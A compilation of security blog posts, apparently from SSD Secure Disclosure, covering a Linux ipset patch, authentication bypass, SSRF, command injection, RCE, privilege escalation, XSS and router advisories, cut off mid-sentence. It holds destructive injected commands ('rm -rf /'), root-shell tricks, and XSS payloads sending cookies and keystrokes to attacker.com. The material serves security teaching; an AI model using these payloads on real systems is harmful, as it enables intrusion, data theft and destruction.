ret = ip_set_get_hostipaddr4(tb[IPSET_ATTR_IP_TO], &ip_to);

if (ret)

return ret;

- if (ip > ip_to) {

+ if (ip > ip_to)

swap(ip, ip_to);

- if (ip < map->first_ip)

- return -IPSET_ERR_BITMAP_RANGE;

- }

} else if (tb[IPSET_ATTR_CIDR]) {

u8 cidr = nla_get_u8(tb[IPSET_ATTR_CIDR]);

@@ -178,7 +175,7 @@ bitmap_ip_uadt(struct ip_set *set, struct nlattr *tb[],

ip_to = ip;

}

- if (ip_to > map->last_ip)

+ if (ip < map->first_ip || ip_to > map->last_ip)

return -IPSET_ERR_BITMAP_RANGE;

for (; !before(ip_to, ip); ip += map->hosts) {

Researching Linux? Have a similar vulnerability you are looking to share? Let’s get the conversation going!
SSD commits to the best payouts in the industry, easy and fast submission process and the option to stay completely anonymous.

Since 2007, SSD Secure Disclosure has been helping security researchers turn their findings into thriving careers.
Explore our constantly expanding product scope — updated monthly with new products and vendors.

Linux Kernel netfilter: ipset: Missing Range Check LPE was originally published in SSD Secure Disclosure on Medium, where people are continuing the conversation by highlighting and responding to this story.

Authentication is the first line of defense against unauthorized access to systems and applications. However, weak login mechanisms can be exploited by attackers using various techniques such as credential stuffing, brute force attacks, session hijacking, and logic flaws. This article explores these attack vectors, real-world examples, and countermeasures to secure authentication systems.

Common Authentication Bypass Techniques

1. Credential Stuffing

Credential stuffing exploits users’ tendency to reuse passwords across multiple sites. Attackers leverage leaked username-password pairs from data breaches and attempt to log in to different services.

How it Works:

• Attackers acquire credential dumps from breaches.
• Automated scripts test these credentials against multiple login portals.
• Successful logins provide attackers access to accounts without triggering password reset mechanisms.

Example: A breach of an e-commerce platform exposes millions of email-password combinations. Attackers use automated tools to test these credentials on banking and social media platforms, gaining unauthorized access to many accounts.

Code Example:

Mitigation:

• Enforce multi-factor authentication (MFA).
• Implement rate limiting and CAPTCHA.
• Monitor login attempts for unusual activity.

2. Brute Force Attacks

Brute force attacks involve systematically guessing passwords until the correct one is found. Attackers can use dictionary attacks (common passwords) or fully automated attempts (all possible combinations).

How it Works:

• Attackers use tools like Hydra or Burp Suite to automate login attempts.
• Weak passwords or missing account lockouts make this attack feasible.

Example: An attacker targets a web application with a weak password policy, using a list of common passwords like “password123” and “qwerty” to gain access.

Code Example:

Mitigation:

• Enforce strong password policies.
• Implement account lockout mechanisms.
• Use login attempt monitoring and alerts.

3. Session Hijacking

Session hijacking occurs when an attacker steals a valid user session, allowing unauthorized access without needing login credentials.

How it Works:

• Attackers steal session cookies using MITM (Man-in-the-Middle) attacks, cross-site scripting (XSS), or session fixation.
• With a valid session ID, the attacker bypasses authentication and impersonates a legitimate user.

Example: An attacker injects malicious JavaScript into a vulnerable website. When a user logs in, their session cookie is stolen and sent to the attacker, granting full access to the account.

Code Example:

Real-World Case: In 2010, a vulnerability in Firesheep allowed attackers to hijack unencrypted Facebook and Twitter sessions over public Wi-Fi, enabling account takeovers.

Mitigation:

• Use secure (HttpOnly, Secure, SameSite) cookie flags.
• Implement short session timeouts.
• Enforce re-authentication for sensitive actions.

4. Authentication Logic Flaws

Poorly implemented authentication logic can be exploited to bypass login mechanisms altogether.

How it Works:

• Flaws in login workflows, such as skipping authentication checks, allow unauthorized access.
• Errors in password reset mechanisms (e.g., predictable reset tokens) enable attackers to take over accounts.

Example: A web application has an authentication bypass flaw where an attacker can change a URL parameter from /login to /dashboard and gain access without authentication.

Code Example:

Real-World Case: In 2021, a vulnerability in a major financial institution allowed users to bypass login by altering the request path, exposing sensitive data.

Mitigation:

• Perform thorough security testing for authentication logic.
• Validate and sanitize all user inputs.
• Implement secure password reset mechanisms.

Conclusion

Weak authentication mechanisms leave systems vulnerable to exploitation. Organizations must adopt strong security practices, including multi-factor authentication, rate limiting, session security, and rigorous security testing, to protect against these threats. By understanding and mitigating these attack vectors, businesses can significantly enhance their authentication security and reduce the risk of unauthorized access.

SSD Secure Disclosure helps security researchers turn their findings into a career since 2007. Check out SSD’s product scope which is being updated monthly with new products and vendors.

Bypassing Authentication: Exploiting Weak Login Mechanisms was originally published in SSD Secure Disclosure on Medium, where people are continuing the conversation by highlighting and responding to this story.

Server-Side Request Forgery (SSRF) is a critical web security vulnerability that enables attackers to manipulate a server into making unauthorized requests. These requests can target internal resources that should be inaccessible from the public internet, bypass security measures, and potentially expose sensitive information. This article examines the mechanics of SSRF vulnerabilities, demonstrates how they can be exploited to compromise internal networks, and provides comprehensive mitigation strategies.

Understanding SSRF

SSRF occurs when a web application fetches resources specified by user-controlled input without proper validation or sanitization. Unlike client-side vulnerabilities that primarily affect end users, SSRF exploits the trust relationship between the server and its internal network infrastructure.

The impact of successful SSRF attacks can include:

- Unauthorized access to internal services and applications
- Exposure of sensitive cloud metadata APIs
- Data exfiltration from internal databases
- Remote code execution under certain circumstances
- Privilege escalation via internal authorization systems

Common SSRF Attack Scenarios

1. Internal Network Reconnaissance

Attackers can leverage SSRF to probe and map internal networks that would otherwise be inaccessible from the internet. By analyzing response times, status codes, and error messages, they can enumerate active hosts and services within the organization’s private network segments.

2. Cloud Metadata Service Exploitation

Cloud environments typically provide metadata services accessible only from within the instance. These services contain sensitive information including access credentials, instance identifiers, and configuration data.

A classic example is accessing AWS’s instance metadata service:

3. Bypassing Firewalls and Access Controls

Internal systems frequently operate under the assumption that requests originating from within the network perimeter are trusted. This trust model can be exploited via SSRF to access restricted administrative interfaces, internal APIs, and services that would normally be protected by network segmentation.

Notable Real-World SSRF Exploits

Capital One Breach (2019)

One of the most significant SSRF attacks in recent history was the Capital One data breach. The attacker exploited an SSRF vulnerability in a misconfigured web application firewall to access the EC2 metadata service. This provided temporary AWS credentials that allowed the attacker to access and exfiltrate sensitive customer information affecting over 100 million individuals. The breach resulted in $80 million in fines and an estimated $150 million in recovery costs.

GitHub Actions SSRF Vulnerability (2022)

Security researcher William Bowling discovered an SSRF vulnerability in GitHub Actions that could have allowed attackers to make unauthorized requests to internal GitHub services and AWS metadata endpoints. The vulnerability stemmed from insufficient validation of user-provided URLs in GitHub’s runner service. GitHub promptly fixed the issue and awarded a $25,000 bounty through their bug bounty program.

Alibaba Cloud SSRF Incident (2021)

Researchers uncovered an SSRF vulnerability in Alibaba Cloud services that enabled attackers to extract metadata from internal instances. The vulnerability existed in a web interface component that processed user-supplied URLs without adequate validation, potentially exposing credentials and enabling further lateral movement within cloud environments.

Comprehensive SSRF Prevention Strategies

1. Robust Input Validation and URL Allowlisting

• Implement strict validation of user-supplied URLs using a comprehensive parsing library
  - Maintain an allowlist of approved domains and protocols rather than attempting to block known dangerous values
  - Validate both the initial URL and any redirects that might occur during request handling

2. Network-Level Protections

- Configure firewalls to prevent outbound connections to internal IP ranges from public-facing servers
- Block access to common metadata service addresses (169.254.169.254, 169.254.170.2, etc.)
- Implement egress filtering to control which destinations servers can connect to
- Place vulnerable applications in isolated network segments with explicit access controls

3. Secure Design Patterns

- Use dedicated proxies or API gateways for external resource fetching that enforce strict security controls
- Implement request signing or pre-signed URLs for authorized external resource access
- Return only necessary information from HTTP responses to prevent information leakage

4. Defense in Depth Measures

- Deploy Web Application Firewalls (WAFs) with SSRF-specific detection rules
- Implement least privilege for service accounts used by web applications
- Configure metadata services to require additional authentication (IMDSv2 for AWS)
- Monitor outbound network connections for unusual patterns or destinations

5. Modern Cloud Security Controls

- In AWS, enforce IMDSv2 which requires session token-based requests to metadata services
- Implement appropriate IAM roles and policies that limit the permissions available to compromised credentials
- Configure VPC endpoints with restrictive security groups to limit access to cloud APIs

Conclusion

Server-Side Request Forgery represents a sophisticated attack vector that can provide attackers with unprecedented access to internal systems and sensitive data. Organizations must implement comprehensive defense strategies that address SSRF at multiple layers, from input validation to network architecture and cloud configuration.

Regular security assessments, including penetration testing specifically targeting SSRF vulnerabilities, should be conducted to identify potential weaknesses before they can be exploited. By combining technical controls with security awareness and proper application design, organizations can significantly reduce the risk posed by SSRF attacks.

References

1. OWASP SSRF Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
   2. Cloud Security Alliance: “Top Threats to Cloud Computing”
   3. NIST Special Publication 800–95: “Guide to Secure Web Services”
   4. PortSwigger Web Security Academy: SSRF Vulnerability Research

SSD Secure Disclosure helps security researchers turn their RCE findings into a career since 2007. Check out SSD’s product scope which is being updated monthly with new products and vendors.

Server-Side Request Forgery (SSRF): Attacking Internal Networks via External Requests was originally published in SSD Secure Disclosure on Medium, where people are continuing the conversation by highlighting and responding to this story.

Command Injection vulnerabilities are a classic yet devastating category of security flaws. They allow attackers to execute arbitrary system-level commands by exploiting insecure handling of user input within an application. Unlike Remote Code Execution (RCE), which often involves executing crafted payloads, Command Injection exploits an application’s direct interaction with the operating system, giving attackers unauthorized control over the underlying server or system.

This article will dive into what Command Injection is, how it works, showcase real-world examples, and explore how to secure your systems against this prevalent threat.

What is Command Injection?

Command Injection occurs when an application passes user input directly to system commands without properly validating or sanitizing it. If the input is not controlled, attackers can “inject” malicious commands to manipulate the system’s behavior.

Key traits of Command Injection:

1. The application relies on system calls to perform operations.
2. User-supplied input is included in these system calls.
3. There is insufficient input validation or sanitization.

This vulnerability often arises in applications that use functions like:

• os.system(), os.popen() in Python
• Runtime.exec() in Java
• Backticks (`) or exec() in PHP
• Shell scripts or batch files

How Does Command Injection Work?

Command Injection typically involves chaining malicious commands to a legitimate system command. This is achieved through shell operators like ;, &&, |, or backticks (`), which allow attackers to execute additional commands.

Here’s a simple flow:

1. A web application or software takes user input to perform a task (e.g., querying a database, managing files).
2. The input is incorporated into a system command without validation.
3. The attacker supplies malicious input that alters the intended behavior of the command, executing unintended system-level operations.

Real-World Example: A File Management Tool

Consider a file management tool that allows users to delete files via a command-line interface. The tool takes the filename as input and deletes it by running a system command.

Vulnerable Code:

import os

def delete_file(filename):
    # Insecure: User input is directly passed to a system command
    os.system(f"rm {filename}")

if __name__ == "__main__":
    filename = input("Enter the file to delete: ")
    delete_file(filename)

Exploitation:

If a user enters the input important_file.txt, the tool runs:

rm important_file.txt

This works as intended. However, an attacker could input something like:

important_file.txt; rm -rf /

This results in the command:

rm important_file.txt; rm -rf /

Here’s what happens:

1. The rm important_file.txt command is executed.
2. The ; operator chains a second command, rm -rf /, which recursively deletes all files on the system root directory (if permissions allow).

Impact of Command Injection

Command Injection vulnerabilities can lead to severe consequences, including:

• Data Theft: Attackers can read sensitive files using commands like cat or less.
• System Control: Commands like wget or curl can download and execute malware.
• Service Disruption: Attackers can delete critical files, shut down processes, or crash systems.
• Privilege Escalation: If exploited on a misconfigured system, attackers may escalate privileges to gain administrative access.

High-Profile Command Injection Attacks

Here are some notable examples where Command Injection left a lasting impact:

1. Equifax Data Breach (2017): A Command Injection vulnerability in Apache Struts allowed attackers to execute arbitrary commands on Equifax’s servers, leading to the exfiltration of over 140 million personal records.
2. Cisco Prime Infrastructure Vulnerability (CVE-2019–1821): This flaw in Cisco’s management software allowed attackers to execute arbitrary commands on the underlying system. Exploiting the vulnerability provided attackers with full control over the affected devices.
3. Jenkins RCE via Command Injection: Jenkins, a popular CI/CD tool, has faced multiple vulnerabilities where attackers could inject commands into configuration fields, gaining control over build servers.

How to Prevent Command Injection?

Preventing Command Injection requires secure coding practices and careful handling of user input. Here are key defense strategies:

1. Avoid System Commands When Possible: If possible, use APIs or libraries that handle tasks internally rather than relying on system-level commands. For example:

• Use Python’s os and shutil libraries for file management.
• Use database APIs like sqlite3 instead of invoking system commands for queries.

2. Input Validation: Validate all user input against a strict set of rules. For example:

• Whitelist allowed input patterns or values.
• Reject input containing suspicious characters (;, &, |, etc.).

3. Sanitize Input: If you must use system commands, sanitize user input to escape special characters. For example:

import shlex

sanitized_input = shlex.quote(user_input)

4. Use subprocess.run() with shell=False: Avoid using os.system() or similar functions that rely on shell parsing. Instead, use subprocess.run() with the shell argument set to False. This ensures commands and arguments are executed securely without invoking a shell.

Example (secure implementation):

import subprocess

def delete_file(filename):
    try:
        subprocess.run(["rm", filename], shell=False)
    except Exception as e:
        print(f"Error: {e}")

5. Least Privilege Principle: Run applications with the minimum privileges required. Even if an attacker exploits a Command Injection flaw, the damage will be limited if the application doesn’t run as an administrator.

6. Security Audits and Testing: Regularly audit your codebase for Command Injection vulnerabilities. Use automated tools like static analysis and dynamic testing to identify insecure patterns.

Conclusion

Command Injection vulnerabilities are deceptively simple yet extremely dangerous. They exploit the gap between user input and system command execution, turning innocent-looking input fields into powerful weapons. By understanding the mechanics of Command Injection and adopting secure coding practices, developers can defend their applications against this prevalent threat.

Always remember: never trust user input, especially when interfacing with system commands.

SSD Secure Disclosure helps security researchers turn their RCE findings into a career since 2007. Check out SSD’s product scope which is being updated monthly with new products and vendors.

Command Injection: When Input Becomes a Weapon was originally published in SSD Secure Disclosure on Medium, where people are continuing the conversation by highlighting and responding to this story.

In this article, we’ll break down what RCE is, how it works, real-world cases where it wreaked havoc and show why understanding RCE is crucial as it still remains one of the most powerful weapons in an attacker’s arsenal.

What is Remote Code Execution?

Remote Code Execution is a security vulnerability that allows attackers to run arbitrary code on a target machine, often without the owner’s knowledge or consent. When an application or system is vulnerable to RCE, it means that an attacker can remotely inject and execute malicious code, gaining control over the target’s server, network, or device.

The severity of RCE lies in the fact that it opens the door to a range of attacks. Once an attacker has executed code on the system, they can:

• Install malware like ransomware or keyloggers
• Steal sensitive data such as passwords, personal information, or financial records
• Escalate privileges to gain administrative control
• Move laterally across networks to attack other systems

In the worst-case scenario, RCE can lead to complete system takeover.

How Does RCE Work?

RCE vulnerabilities occur when applications don’t properly validate or sanitize user input. Let’s say a web application accepts some input from users, like data fields or file uploads. If the application doesn’t verify or sanitize that input, an attacker could inject malicious code instead of the expected data.

Here’s a simplified example:

Consider a vulnerable web app that takes a user’s input and passes it to a system function, like this:

def check_file_type(filename):
    res = subprogress.check_output(f"/usr/bin/file {filename}", stderr=subprocess.STDOUT, shell=True)
    return res

This would cause the system to run the command, potentially deleting all files on the server.

Another common entry point is through deserialization, where an attacker crafts a malicious object or data format and sends it to the application. If the application blindly deserializes the data, the malicious code is executed during that process.

Exploiting RCE in a Command-Line Tool

In this case, we have a simple Python script that takes user input and passes it to the system’s command line for execution. If the input is not properly sanitized or validated, an attacker can inject malicious commands.

Vulnerable Code:

import os

def run_command(user_input):
    # Insecure: passes user input directly to the system command
    os.system(user_input)

if __name__ == "__main__":
    user_input = input("Enter a command: ")
    run_command(user_input)

What’s Wrong with This Code?

The script accepts input from the user and passes it directly to the os.system() function, which executes the input as a system command. There is no validation or filtering of the input, allowing the user to inject harmful commands.

An attacker can exploit this by entering dangerous system commands instead of the expected input. For example:

User Input (malicious):

ls; rm -rf /

The ls command lists the directory contents, but the semicolon (;) allows the attacker to chain another command—rm -rf /, which attempts to delete everything on the system (in a Linux/Unix environment).

When the input is executed by os.system(), the entire chain of commands is run:

os.system("ls; rm -rf /")

This results in both commands being executed, with potentially disastrous consequences.

Real-World Examples of RCE Attacks

RCE vulnerabilities are often found in widely used software and systems, which means they can have far-reaching consequences. Here are a few notable examples:

1. Equifax Breach (2017): One of the most infamous data breaches in history, the Equifax breach, was caused by an RCE vulnerability in Apache Struts. Attackers exploited this flaw to steal personal data of over 147 million people.
2. Microsoft Exchange RCE (2021): A series of RCE vulnerabilities in Microsoft Exchange servers allowed attackers to gain remote access and execute commands. This led to a wave of attacks, including widespread ransomware campaigns.
3. Log4Shell Vulnerability (2021): The Log4j library, used in countless applications, was found to be vulnerable to RCE. This flaw allowed attackers to inject malicious code into servers by sending specially crafted log messages. The vulnerability affected everything from web applications to cloud services, causing global panic.

Conclusion

Remote Code Execution is one of the most severe vulnerabilities a system can face, often leading to complete compromise of the affected system. The ability for attackers to execute arbitrary code remotely makes RCE a favorite for cybercriminals and a critical risk for organizations.

To mitigate the risk of RCE, developers and security teams must be vigilant in secure coding practices, regularly update their systems, and conduct thorough security audits. With proactive defenses, you can significantly reduce the risk of falling victim to one of the most dangerous cyber threats out there.

SSD Secure Disclosure helps security researchers turn their RCE findings into a career since 2007. Check out SSD’s product scope which is being updated monthly with new products and vendors.

Remote Code Execution: The Cybercriminal’s Golden Ticket was originally published in SSD Secure Disclosure on Medium, where people are continuing the conversation by highlighting and responding to this story.

The LPE concept is based on access rights for different tiers of a system:

High tier: Higher-privileged accounts, like root (Linux) or Administrator (Windows), have unrestricted access to the system.

Low tier: every user on a system has specific access rights or privileges. These include the ability to execute commands, access files, and interact with various system components.

LPE involves leveraging a flaw to move from a lower-privileged user (e.g., a standard user) to a higher-privileged account (e.g., root/Administrator).

The two types of Privilege Escalation are:

• Vertical Privilege Escalation: In this form, an attacker escalates from a lower privilege to a higher privilege (like from a normal user to a root/admin user).
• Horizontal Privilege Escalation: This involves gaining access to another user’s account with the same level of privileges, but it may provide access to sensitive information specific to that user.

Identifying LPE Vulnerabilities

There are different techniques to discover vulnerabilities that lead to LPE:

Review File and Directory Permissions
This technique checks for incorrect or insecure file permissions that allow unauthorized users to modify sensitive files. It also looks for world-writable files owned by root or other high-privilege accounts using commands like:

find / -perm -2 ! -type l -ls

SUID/SGID binaries

This technique looks for binaries with the SUID or SGID bits set, which can run with elevated privileges even if executed by lower-privileged users:

find / -perm /4000 2>/dev/null

Weak Service Configurations
Here we will check for services that run with elevated privileges but are accessible to lower-privileged users. It mainly searchers for misconfigurations in common services like cron, sudo, or setuid binaries. For example, check `/etc/crontab` and user-specific cron jobs for potentially exploitable entries.

Kernel Vulnerabilities
Kernel exploits often lead to LPE. You can identify the kernel version using:

uname -r

Here we will look for known vulnerabilities or security patches that were not applied to the current version. Tools like `searchsploit` or `exploit-db` can help identify publicly known exploits:

searchsploit linux kernel

Analyze Vulnerable Programs or Applications
This method can identify custom or third-party software running with elevated privileges. It uses tools like `strace` or `ltrace` to monitor the behavior of binaries to detect possible vulnerabilities in how they handle input, files, or permissions:

strace -o output.log ./vulnerable_program

Exploiting LPE Vulnerabilities

Once you’ve identified a potential vulnerability, the next step is exploiting it to elevate your privileges. Here’s how a general process looks like:

Exploiting SUID/SGID Binaries
If you’ve found a binary with the SUID or SGID bit set, the goal is to manipulate the binary to run arbitrary code with elevated privileges.

In example: A vulnerable SUID binary allows a low-privileged user to escalate to root:

./vulnerable_binary

If the binary is exploitable, inject custom shell commands that execute with root privileges:

echo ‘sh’ > /tmp/exploit.sh
 chmod +x /tmp/exploit.sh
 ./vulnerable_binary /tmp/exploit.sh

Abusing Misconfigured Services
Exploiting a cron job with weak file permissions could involve replacing a script executed by root with malicious code:
1. Replace the cron job file with a reverse shell or other code.
2. Wait for the cron job to execute, elevating your privileges when it runs with root permissions.

Exploiting Kernel Vulnerabilities
Kernel vulnerabilities often require you to run specific exploit code against the current kernel version. This might involve:
 — Compiling an exploit from `exploit-db` or `searchsploit`.
 — Running the compiled binary to trigger the vulnerability:

gcc -o exploit exploit.c
 ./exploit

Successful execution will grant you a root shell.

Exploiting Insecure Configurations
Misconfigured sudo permissions (e.g., allowing unrestricted execution of certain binaries) can be exploited. If a binary like `vi` or `vim` can be run with elevated privileges, you can use the `:!sh` command in `vi` to spawn a root shell:

sudo vi
 :!sh

Post-Exploitation

After successfully escalating privileges, attackers may want to gather additional information, explore sensitive directories, read restricted files (e.g., `/etc/shadow`) and maintain their system access. In most cases, hackers will try to install backdoors or modify SSH keys for persistent access.

Local Privilege Escalation vulnerabilities are powerful tools in the arsenal of attackers but are also highly preventable with regular security hygiene and configuration checks. For cybersecurity researchers and red teamers, finding and exploiting these weaknesses requires a solid understanding of operating system internals and security flaws, combined with knowledge of the specific tools and exploits available.

SSD Secure Disclosure helps security researchers turn their LPE findings into a career since 2007. Check out SSD’s product scope which is being updated monthly with new products and vendors.

Mastering Local Privilege Escalation: How to Identify and Exploit System Vulnerabilities was originally published in SSD Secure Disclosure on Medium, where people are continuing the conversation by highlighting and responding to this story.

According to the Open Web Application Security Project (OWASP), XSS consistently ranks among the top 10 most critical security risks for web applications.

When a vulnerable web application processes untrusted data — such as user comments, search queries, or URL parameters — without securing it, an attacker can exploit this flaw to inject harmful JavaScript or other client-side scripts. These malicious scripts are then executed in the victim’s browser as if they originated from the trusted website itself.

The consequences of a successful XSS attack can be severe. An attacker could hijack user sessions, enabling them to act on behalf of the victim, such as performing transactions or changing settings. XSS can also be used to steal sensitive information, such as cookies, login credentials, or personal data. Additionally, attackers can manipulate web pages by modifying their content or executing unauthorized actions, potentially causing further reputational and financial damage to both the victim and the service provider.

Here are a few examples of where XSS-like vulnerabilities can appear:

1. Mobile Applications:

Mobile apps, especially those that use WebViews to display web content, are susceptible to XSS attacks if they fail to sanitize user inputs or outputs properly. WebViews essentially render web content within the app, and if malicious scripts are injected into this content, the same XSS risks apply. For instance, attackers could steal sensitive information from the mobile app by manipulating the WebView.

2. Desktop Applications:

Some desktop applications include embedded web browsers or components that display web-based interfaces. If these components load external or user-generated content without proper sanitization, XSS vulnerabilities can be exploited. In such cases, an attacker could execute scripts within the application context, leading to data theft, session hijacking, or malicious manipulation of the application.

3. Browser Extensions:

Browser extensions can also be vulnerable to XSS attacks. If an extension injects content into a web page (such as toolbars, popups, or overlays) and fails to properly sanitize or escape user input, it may inadvertently introduce an XSS vulnerability. This can lead to unauthorized access to browser data, such as cookies or local storage, or even allow an attacker to manipulate the functionality of the extension itself.

4. IoT Devices and Embedded Systems:

Some Internet of Things (IoT) devices, like smart cameras, routers, or home automation systems, have web interfaces that administrators use to configure the device. These interfaces may also be vulnerable to XSS attacks if they allow for user input (e.g., settings, network configurations) without proper validation. An attacker could inject malicious scripts into these interfaces, leading to device control or access to sensitive data stored in or managed by the IoT system.

5. API Responses and Microservices:

Though not traditional XSS, web services and APIs that return HTML or client-rendered content can also introduce scripting vulnerabilities. If an API response includes unsanitized user input that is consumed by a client (e.g., a web application or mobile app), the vulnerability could lead to script execution on the client-side, exposing similar risks.

XSS thrives because many developers underestimate how even seemingly harmless data, like text inputs, can become vectors for attacks. Therefore, understanding how to identify and exploit XSS vulnerabilities is a critical skill for security professionals conducting penetration testing, bug bounty hunting, or securing their own web applications. Identifying these flaws allows defenders to better mitigate risks, while demonstrating their impact helps illustrate the urgency of addressing them.

How it works?

XSS occurs when an application allows untrusted data (e.g., user input) to be included in web pages without proper validation or escaping. There are three main types of XSS vulnerabilities:

• Stored XSS: Malicious script is permanently stored on the target server (e.g., in a database) and executed when users load a page containing the injected script.
• Reflected XSS: Malicious script is reflected off a web server and executed immediately when a user clicks a crafted link or submits a malicious form.
• DOM-based XSS: The script is executed as a result of modifying the Document Object Model (DOM) in the browser, rather than relying on server-side flaws.

How to know if its an XSS?

To identify XSS vulnerabilities, we need to focus on how user input is handled in the application. XSS can be tested in various ways:

• Input Fields: injecting simple payloads into input fields like search boxes, comment sections, or any form fields.

Example payload:

<script>alert('XSS')</script>

• URLs: If the application reflects parts of the URL back into the page, such as search results or error messages, manipulate the URL by injecting a payload.

Example:

http://example.com/search?query=<script>alert('XSS')</script>

• Inspecting HTML Source Code: Check if user inputs are embedded directly into HTML elements, such as inside <div>, <span>, <script>, or as attributes like href, src, onerror, etc.
• Browser Developer Tools: Use tools like the browser's Developer Tools to inspect JavaScript, HTML, and network requests. Look for unsanitized user input in script blocks, event handlers, or embedded directly in the DOM.
• Automated Scanners: Tools like Burp Suite, OWASP ZAP, or Netsparker can help in identifying potential XSS vulnerabilities automatically.

Crafting Exploits for XSS

Once an XSS vulnerability is identified, you can craft more advanced payloads to demonstrate its impact. Exploiting XSS typically involves making the victim’s browser execute JavaScript that can steal cookies, manipulate DOM elements, or perform actions as the victim.

• Basic XSS Exploit (Alert Box): A simple example is displaying an alert box, often used to confirm that XSS exists.

<script>alert('XSS Vulnerability')</script>

• Cookie Stealing via XSS:

<script>document.location='http://attacker.com/steal?cookie='+document.cookie;</script>

The script redirects the victim’s browser to the attacker’s site with the victim’s cookies in the query string. This can be used to hijack the victim's session.

• Session Hijacking: After stealing cookies, you can use them to hijack the victim’s session. If the session ID is in the cookie, an attacker can impersonate the user by replaying their session.
• DOM Manipulation: You can also modify the page content to create phishing scenarios.

<script> document.body.innerHTML = '<h1>Account Suspended. Please Re-enter your Credentials</h1>'; </script>

• Keylogging and Phishing: Inject a keylogger or steal sensitive input data.

<script> document.onkeypress = function(e) { var key = e.which || e.keyCode; document.location = 'http://attacker.com/log?key=' + String.fromCharCode(key); }; </script>

XSS remains a common vulnerability because it can be difficult to handle user input safely in all cases. Properly identifying and exploiting XSS vulnerabilities requires both manual testing techniques and automated tools. By learning how to effectively exploit these weaknesses, you can help secure web applications by revealing where they are vulnerable and implementing the necessary fixes.

SSD Secure Disclosure helps security researchers turn their XSS findings into a career since 2007. Check out SSD’s product scope which is being updated monthly with new products and vendors.

Unmasking XSS: How to Identify and Exploit Cross-Site Scripting Vulnerabilities was originally published in SSD Secure Disclosure on Medium, where people are continuing the conversation by highlighting and responding to this story.

In the last part of our series, we highlighted the importance of having a structured approach that combines automated tools, manual analysis, and best practices when conducting router exploit research. All of which are essential for effective vulnerability identification and exploitation.

In this part, we’ll dive into examples from recently reported advisories, highlighting essential techniques for identifying and exploiting these vulnerabilities. We’ll provide a comprehensive walkthrough with practical steps and methodologies.

By analyzing specific examples from recent security advisories, we can effectively showcase the techniques used to identify and exploit vulnerabilities in various systems. These real-world case studies show the specific methods used to uncover security flaws, such as analyzing firmware, testing for weak authentication mechanisms, and probing for command injection vulnerabilities. Through detailed examination, we can reveal how certain vulnerabilities were discovered and demonstrate the step-by-step process of crafting and deploying exploits. This approach not only helps in understanding the technical nuances of each vulnerability but also provides valuable insights into the overall methodology and best practices that can be applied to future security research.

Information Disclosure — TVT NVMS9000

Researchers discovered a critical security flaw in the NVMS9000 product by TVT, allowing much of the information on the device to be accessed by remote unauthenticated attackers. This includes, but is not limited to, usernames and passwords, network configuration, and more.

This security flaw was found to be easily exploited if access is gained to its open port (depending on configuration, the relevant port may be 6036, 17000, 17001, 8000, etc).

Technical Analysis

A single TCP payload was sent to a NMVS9000 control port (ex: 6036, 17000, 17001, 8000, etc…) and bypassed the authentication process. This was used to execute administrative commands on the targeted NVMS9000.

This exploit was found to be pretty basic. It used a payload with the queryBasicCfg command in order to get several items, including: the main admin user’s login & password, the product model, the software version, the software launch date, the serial number, the kernel version and the hardware version.

More details and the full POC can be found in SSD’s full advisory

Authentication Mechanisms — TP-Link NCxxx

This vulnerability was found to exist in all TP-Link NCXXX family of devices. The vulnerability allows accessing the device without credentials and when chained with well known and currently unpatched post-auth vulnerabilities it allowed for a complete compromise of the device.

Technical Analysis

The vulnerability is more complex than our last example, used to bypass Authentication and it resides in the httpLoginRpm method within the ipcamera binary, specifically in the handler method for the root URL (“/”).

In this line of code, full_path is a buffer with a maximum size of 64 bytes (0x40 in hexadecimal), and uVar1 is a variable that holds the value obtained from the httpGetEnv(param_1,"DOCUMENT_ROOT") call, which can be controlled by the user.

By manipulating the input given to the httpGetEnv function, an attacker altered the uVar1 variable to point to a different file path, essentially sidestepping the concatenation with “login.html”. This allows them to specify a path to any file they wish to access, resulting in a file disclosure vulnerability.

Once the path construction was successfully manipulated, the designated file opened and its contents relayed back to the attacker, exposing sensitive information stored on the system.

To bypass authentication it is enough to use this vulnerability to read this hidden file on the filesystem /usr/local/config/ipcamera/.lighttpdpassword. Unauthenticated users should not be able to modify DOCUMENT_ROOT.

Stack Overflow

This vulnerability targets the `/sddelfile.fcgi` endpoint and becomes exploitable after authentication, function name in the ipcamera binary is `httpSDDelFile`, leveraging the previously mentioned vulnerability. An attacker can exploit this by sending a POST request with an excessively long `filepath` parameter. The function `swSdDelFile` improperly handles this parameter, leading to a stack overflow vulnerability. It concatenates the attacker-provided `filepath` data byte by byte onto the stack without adequately checking the length of the input.

Due to the absence of all security protections in the binary, this vulnerability can be exploited.

Attackers could use it either to cause a Denial of Service (DoS) by crashing the device or potentially execute arbitrary shellcode by manipulating the program’s execution flow to jump to a location on the stack where the shellcode is written.

More details and the full POC can be found in SSD’s full advisory

AUTHENTICATION BYPASS — TOTOLINK LR1200GB

A vulnerability found in TOTOLINK LR1200GB allowed remote unauthenticated attackers to become authenticated due to a stack overflow vulnerability in the web interface. Additional post-auth vulnerabilities in the product allowed for command injection and their execution with elevated privileges — allowing the compromise of the device .

Technical Analysis

In LR1200GB, the loginAuth function within the cstecgi.cgi implementation handles the authentication process, parsing parameters such as username, password, verify, flag, and topicurl from the incoming request. The topicurl parameter determines the intended functionality to be accessed, and in this instance, it holds the value loginAuth.

Upon inspecting the source code, an additional parameter, namely http_host, was identified, as depicted in the provided screenshot. This parameter is utilised in the source code, adding an extra layer to the authentication mechanism.

The code checks whether http_host contains null or not. If not, it is copied to the local stack without proper checks. This makes http_host vulnerable to a buffer overflow. Another critical observation is that the http_host value is stored higher on the stack than the username and password, providing an opportunity for us to overflow and overwrite the legitimate username and password with a value under our control.

The researcher had verified that the genuine username and password are stored in the stack, with 0x7fc63a20 representing the username and 0x7fc63a44 representing the password. He then proceeded to access the login API with an extensive http_host, aiming to overwrite the authentic username and password with all A characters without altering the
return address and causing stack corruption.

Once both the username and password have been successfully overwritten with ‘A’, the username will change to ‘A’ x 48, and the password is ‘A’ x 12. Consequently, the researcher can utilize a password of ‘A’ x 12 to achieve a login bypass.

More details and the full POC can be found in SSD’s full advisory

Remote Command Execution — Arcadyan FMIMG51AX000J

A vulnerability was found in Arcadyan FMIMG51AX000J routers, potentially affecting other WiFi Alliance-affiliated devices using the same version. This vulnerability allows remote attackers to execute arbitrary code on the device.

Technical Analysis

While running an NMAP port scan on the router in question, the researchers noticed that ports 8000 and 8080 are open, moreover, NMAP gets a response when it tries to probe them but can’t determine the service.

